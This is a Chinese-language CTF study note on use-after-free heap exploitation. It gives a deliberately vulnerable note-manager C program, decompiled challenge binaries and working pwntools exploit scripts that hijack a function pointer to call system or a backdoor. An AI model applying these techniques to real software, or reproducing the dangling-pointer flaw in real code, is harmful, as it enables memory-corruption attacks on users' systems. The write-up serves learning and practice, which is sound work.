UAF
原理
内存块被释放后,其对应的指针没有被设置为 NULL,然后再次申请我们精心的构造的内存块,就能够达到攻击的效果
程序源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note { //结构体
void (*printnote)();
char *content;
};
struct note *notelist[5]; //结构体变量
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
利用结构体实现了在chunk的content内容下执行一个puts函数
然后再嵌套一个chunk
这里content内容存放的一个指针
uaf漏洞
free的是两个chunk,没有把两个指针free掉
存在后门函数
利用方式
1.申请 note0,real content size(申请的嵌套chunk的大小) 为 32 (0x20),输入的content为“aaaa” (0x4)(申请的嵌套chunk大小与 note 大小不同 ,所在的 bin 不一样即可)
2.申请 note1,real content size 为 32,输入的content为“bbbb”(大小与 note 大小所在的 bin 不一样即可
3.释放 note0,内存会进入fastbin中,且content chunk和note chunk会进入不同的位置
4.释放 note1
从这里可以看出fastbins储存最大的内存块就是0x40大小的chunk
还有就是申请的嵌套chunk的大小要与外层chunk大小不同就是为了free掉后分配到不同的fastbins的链表中
然后就是申请的chunk最后有个top chunk(135057)
链表的结构
5.申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则:
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。
6.们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
exp模板
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "bbbb") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()
例题
南森招新赛-baozi
checksec
ida
从里面并没有找到定义的结构体,这也是正常现象
因为ida不能够还原所有代码
这样的话,在做堆题时,对C语言的要求就不是这么高了,通过调试或者经验就能得知chunk的结构
但如果想清晰地理解一个堆题还是需要加深对源码的理解
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-10h] BYREF
unsigned int v5; // [esp+4h] [ebp-Ch]
int *v6; // [esp+8h] [ebp-8h]
v6 = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
menu(); //菜单
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
print_note(); //print chunk
break;
case 1:
add_note(); //malloc chunk
break;
case 2:
del_note(); //free chunk
break;
default:
goto LABEL_12;
}
}
}
}
具体的函数都是知道的
add(add+edit)
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i ) //申请次数
{
if ( !*((_DWORD *)¬elist + i) )
{
*((_DWORD *)¬elist + i) = malloc(8u);
//malloc chunk
if ( !*((_DWORD *)¬elist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)¬elist + i) = print_note_content; //chunk中content处的内容(free后fd指针的地址) 这里是
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)¬elist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
//等同于*(*¬elist + i + 4 )=malloc(size)
//在content的第二单位内存的指针中申请chunk(相当于在free后的bk指针的地址处申请chunk)
if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
delete
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
{
free(*(*(¬elist + v1) + 4));
//free掉镶嵌的chunk
free(*(¬elist + v1));
//free掉chunk
//没有free掉指针,所以存在uaf
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
(**(¬elist + v1))(*(¬elist + v1));
//print_note_content()函数=puts(*(*(¬elist + v1) + 4))-->这里相当于fd位置为print_note_content函数,bk指针处为参数
//从add里面可以找出来
//**(¬elist + i) = print_note_content;
/*int __cdecl print_note_content(int a1){
return puts(*(a1 + 4));}*/
return __readgsdword(0x14u) ^ v3;
}
print_note_content
int __cdecl print_note_content(int a1)
{
return puts(*(a1 + 4));
}
exp
from pwn import *
#p=remote("47.99.93.110",10001)
p=process('./pwn')
elf=ELF('./pwn')
context.log_level="debug"
def duan():
gdb.attach(p)
pause(0)
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
bin_sh=0x602010
system=0x8049684
print(hex(system))
add(0x20,"aaaa")#0
add(0x20,"bbbb")#1
#duan()
delete(1)
delete(0)
duan()
add(0x8,p32(system) + p32(system))
#duan()
show(1)
p.interactive()
ACTF_2019_babyheap
ida
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_400907(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
sub_4009D2();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
sub_400BAE();
}
if ( v3 == 3 )
{
sub_400C66();
}
else
{
if ( v3 != 1 )
sub_400D18();
sub_400A78();
}
}
}
修改后的ida
main
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_400907(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
delete();
}
if ( v3 == 3 )
{
show();
}
else
{
if ( v3 != 1 )
exit_0();
add();
}
}
}
show
unsigned __int64 sub_400C66()
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Please input list index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < dword_60204C )
{
if ( *(&ptr + v1) )
(*(*(&ptr + v1) + 1))(**(&ptr + v1));
//这里是执行函数,不过参数在函数体的前面
//也就是fd指针处为参数,bk指针处为函数体
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
exp
from pwn import *
io=process('./pwn')
elf=ELF('./pwn')
context(os='linux',arch='amd64',log_level='debug')
def duan():
gdb.attach(io)
pause(0)
def add(size,content):
io.recvuntil('Your choice: ')
io.sendline(b'1')
io.recvuntil(b'Please input size: \n')
io.sendline(str(size))
io.recvuntil('Please input content: \n')
#io.sendline(content)
io.send(content)
def delete(index):
io.recvuntil('Your choice: ')
io.sendline(b'2')
io.recvuntil('Please input list index: \n')
io.sendline(str(index))
def show(index):
io.recvuntil('Your choice: ')
io.sendline(b'3')
io.recvuntil('Please input list index: \n')
io.sendline(str(index))
system=elf.plt['system']
#system=0x400A48
bin_sh=0x602010
add(0x20,"aaaa")#0
add(0x20,"bbbb")#1
#add(0x20,"cccc")
delete(1)
delete(0)
add(0x10,p64(bin_sh)+p64(system))
#add(0x10,p64(system)+p64(bin_sh))
show(1)
io.interactive()